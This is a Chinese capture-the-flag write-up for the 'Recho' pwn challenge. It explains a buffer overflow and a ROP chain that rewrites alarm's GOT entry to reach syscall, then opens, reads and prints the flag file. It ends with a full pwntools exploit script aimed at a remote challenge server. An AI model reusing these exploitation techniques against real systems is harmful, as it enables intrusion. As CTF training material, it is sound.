攻防世界PWN之Recho题解

Recho

首先,还是查看一下程序的保护机制。看起来不错。

攻防世界PWN之Recho题解_第1张图片

然后用IDA分析

攻防世界PWN之Recho题解_第2张图片

看起来是一个很简单的溢出,然而,这题的难点在于这个循环如何结束。read一直都是真,如果是在linux终端上直接运行,我们可以用Ctrl+D,然而,pwn远程,就无法处理这种信号。幸运的是pwntools提供了一个shutdown功能,该功能可以关闭流,如果我们关闭输入流,这个循环就结束了。但是我们别想再次ROP到主函数获取输入,因为关闭后就不能打开,除非重新运行,那么之前的工作不都白费了吗。因此,我们必须一次性完成所有操作。

一次性要完成所有操作,那么暴露地址的方式肯定不能完成,幸运的是,我们可以使用系统调用(syscall)。对于有些系统,system也可以用系统调用,而对于有些系统则不行,因此,我们这里不再geshell,我们直接读取flag,然后打印出来。

 

我们知道,open、write、read、alarm这些都是系统调用,看看IDA代码就知道

攻防世界PWN之Recho题解_第3张图片

我们希望构造这样的代码来拿到flag

  1. int fd = open("flag",READONLY);  
  2. read(fd,buf,100);  
  3. printf(buf);  

由于本程序已经导入了alarm、read、write几个函数,我们现在缺的是open函数,由于open函数内部也是系统调用,只需要改变传入的eax,就可以调用open,因此,我们首先需要拿到syscall的地址或者是调用它的某处的地址。

alarm函数我们用不到,因此,我们想把它的GOT表地址改掉,但是,如何改呢,我们发现有这么一个gadget,这是经验,赶紧记下来,这个重点

攻防世界PWN之Recho题解_第4张图片

 

先把两处undefine,然后再code,就变成了两条指令

 

 

这个可以把rdi里面存地址指向处加上al,那么,如果rdi里存储着alarm的GOT表地址,那么add [rdi],al就是把GOT表里指向的地址向后偏移al,由于alarm函数向后偏移0x5个字节处调用了syscall,因此,如果我们的al0x5,那么,add指令执行后,我们的alarm函数GOT表里的地址就指向了syscall的调用处,那么我们调用alarm也就是调用syscall,我们只需在之前传入eax(系统调用号),就可以调用我们需要的系统调用

攻防世界PWN之Recho题解_第5张图片

查看libc的汇编代码,我们知道了open的系统调用号为2

攻防世界PWN之Recho题解_第6张图片

因此我们就可以拼凑出一个open来

 

我们还需要其他的一些指令,用来传参数,这些指令用IDA的搜索功能搜索pop就能找到,当然还有经验,

  1. #用于传参  
  2. '''''pop rax 
  3.    retn'''  
  4. pop_rax = 0x4006FC  
  5. '''''pop rdx 
  6.    retn'''  
  7. pop_rdx = 0x4006FE  
  8. '''''pop rsi 
  9.    pop r15 
  10.    retn'''  
  11. pop_rsi = 0x4008A1  
  12. '''''pop rdi 
  13.    retn'''  
  14. pop_rdi = 0x4008A3  
  15. '''''add [rdi],al 
  16.    retn'''  
  17. rdi_add = 0x40070d  

攻防世界PWN之Recho题解_第7张图片 比如这种隐藏的,需要经验,赶紧记住了。

Undefined后再向后偏移一个字节点Code,就出来了。其他类似。

攻防世界PWN之Recho题解_第8张图片

我们还需要一个存取读取结果的地方,BSS段是可以读写的

  1. #存储字符串  
  2. stdin_buffer = 0x601070  

攻防世界PWN之Recho题解_第9张图片

程序中也为我们准备好了”flag”字符串,指示我们使用

那么,我们就开始构造payload吧

 

我们需要先修改alarm的GOT表,改成调用syscall

  1. payload = 'a'*0x38  
  2. #######修改alarmGOT表内容为alarm函数里的syscall调用处地址##########  
  3. #rdi = alarm_got  
  4. payload += p64(pop_rdi) + p64(alarm_got)  
  5. #rax = 0x5  
  6. payload += p64(pop_rax) + p64(0x5)  
  7. #[rdi] = [rdi] + 0xE = alarm函数里的syscall的调用处  
  8. payload += p64(rdi_add)  
  9. ########  

然后,我们先构造fd = open(“flag”,READONLY);这句代码

  1. '''''fd = open('flag',READONLY)'''  
  2. # rsi = 0 (READONLY)  
  3. payload += p64(pop_rsi) + p64(0) + p64(0)  
  4. #rdi = 'flag'  
  5. payload += p64(pop_rdi) + p64(elf.search('flag').next())  
  6. #rax = 2,open的调用号为2,通过调试即可知道  
  7. payload += p64(pop_rax) + p64(2)  
  8. #syscall  
  9. payload += p64(alarm_plt)  

open以后,fd的值一般是3开始,依次增加。比如我open了两个文件,那么它们的fd分别为34。如果特殊,具体看调试结果

 

接下来,我们开始构造read(fd,stdin_buffer,100);这句代码

  1. ''''' read(fd,stdin_buffer,100) '''  
  2. #rdi指向buf区,用于存放读取的结果  
  3. payload += p64(pop_rsi) + p64(stdin_buffer) + p64(0)  
  4. #open()打开文件返回的文件描述符一般从3开始,依次顺序增加  
  5. payload += p64(pop_rdi) + p64(3)  
  6. # rax = 100,最多读取100个字符  
  7. payload += p64(pop_rdx) + p64(100)  
  8. #指向read函数  
  9. payload += p64(read_plt)  

现在,flag的内容已经存到了std_buffer里面了,我们用printf打印它就能获得答案

  1. #使用printf打印读取的内容  
  2. payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)  

 

最后,我们关闭流,使循环退出,main函数到retn处,执行我们的ROP。

  1. #关闭输入流,就可以退出那个循环,执行ROP  
  2. sh.shutdown('write')  

综上,我们的exp脚本如下

  1. #coding:utf8  
  2. from pwn import *  
  3. import time  
  4.   
  5. context.log_level = 'debug'  
  6. #sh = process('./pwnh18')  
  7. sh = remote('111.198.29.45',56942)  
  8.   
  9. elf = ELF('./pwnh18')  
  10.   
  11. #用于传参  
  12. '''''pop rax 
  13.    retn'''  
  14. pop_rax = 0x4006FC  
  15. '''''pop rdx 
  16.    retn'''  
  17. pop_rdx = 0x4006FE  
  18. '''''pop rsi 
  19.    pop r15 
  20.    retn'''  
  21. pop_rsi = 0x4008A1  
  22. '''''pop rdi 
  23.    retn'''  
  24. pop_rdi = 0x4008A3  
  25. '''''add [rdi],al 
  26.    retn'''  
  27. rdi_add = 0x40070d  
  28.   
  29. #bss段的stdin缓冲区,我们可以把数据存在这里  
  30. stdin_buffer = 0x601070  
  31.   
  32. alarm_got = elf.got['alarm']  
  33. alarm_plt = elf.plt['alarm']  
  34. read_plt = elf.plt['read']  
  35. printf_plt = elf.plt['printf']  
  36.   
  37. sh.recvuntil('Welcome to Recho server!\n')  
  38.   
  39. sh.sendline(str(0x200))  
  40.   
  41. payload = 'a'*0x38  
  42. #######修改alarmGOT表内容为alarm函数里的syscall调用处地址##########  
  43. #rdi = alarm_got  
  44. payload += p64(pop_rdi) + p64(alarm_got)  
  45. #rax = 0x5  
  46. payload += p64(pop_rax) + p64(0x5)  
  47. #[rdi] = [rdi] + 0xE = alarm函数里的syscall的调用处  
  48. payload += p64(rdi_add)  
  49. ########  
  50. '''''fd = open('flag',READONLY)'''  
  51. # rsi = 0 (READONLY)  
  52. payload += p64(pop_rsi) + p64(0) + p64(0)  
  53. #rdi = 'flag'  
  54. payload += p64(pop_rdi) + p64(elf.search('flag').next())  
  55. #rax = 2,open的调用号为2,通过调试即可知道  
  56. payload += p64(pop_rax) + p64(2)  
  57. #syscall  
  58. payload += p64(alarm_plt)  
  59. ''''' read(fd,stdin_buffer,100) '''  
  60. #rdi指向buf区,用于存放读取的结果  
  61. payload += p64(pop_rsi) + p64(stdin_buffer) + p64(0)  
  62. #open()打开文件返回的文件描述符一般从3开始,依次顺序增加  
  63. payload += p64(pop_rdi) + p64(3)  
  64. # rax = 100,最多读取100个字符  
  65. payload += p64(pop_rdx) + p64(100)  
  66. #指向read函数  
  67. payload += p64(read_plt)  
  68. #使用printf打印读取的内容  
  69. payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)  
  70. #这步也关键,尽量使字符串长,这样才能将我们的payload全部输进去,不然可能因为会有缓存的问题导致覆盖不完整  
  71. payload = payload.ljust(0x200,'\x00')  
  72.   
  73. sh.sendline(payload)  
  74. #关闭输入流,就可以退出那个循环,执行ROP  
  75. sh.shutdown('write')  
  76.   
  77. sh.interactive() 

你可能感兴趣的:(pwn,CTF,二进制漏洞)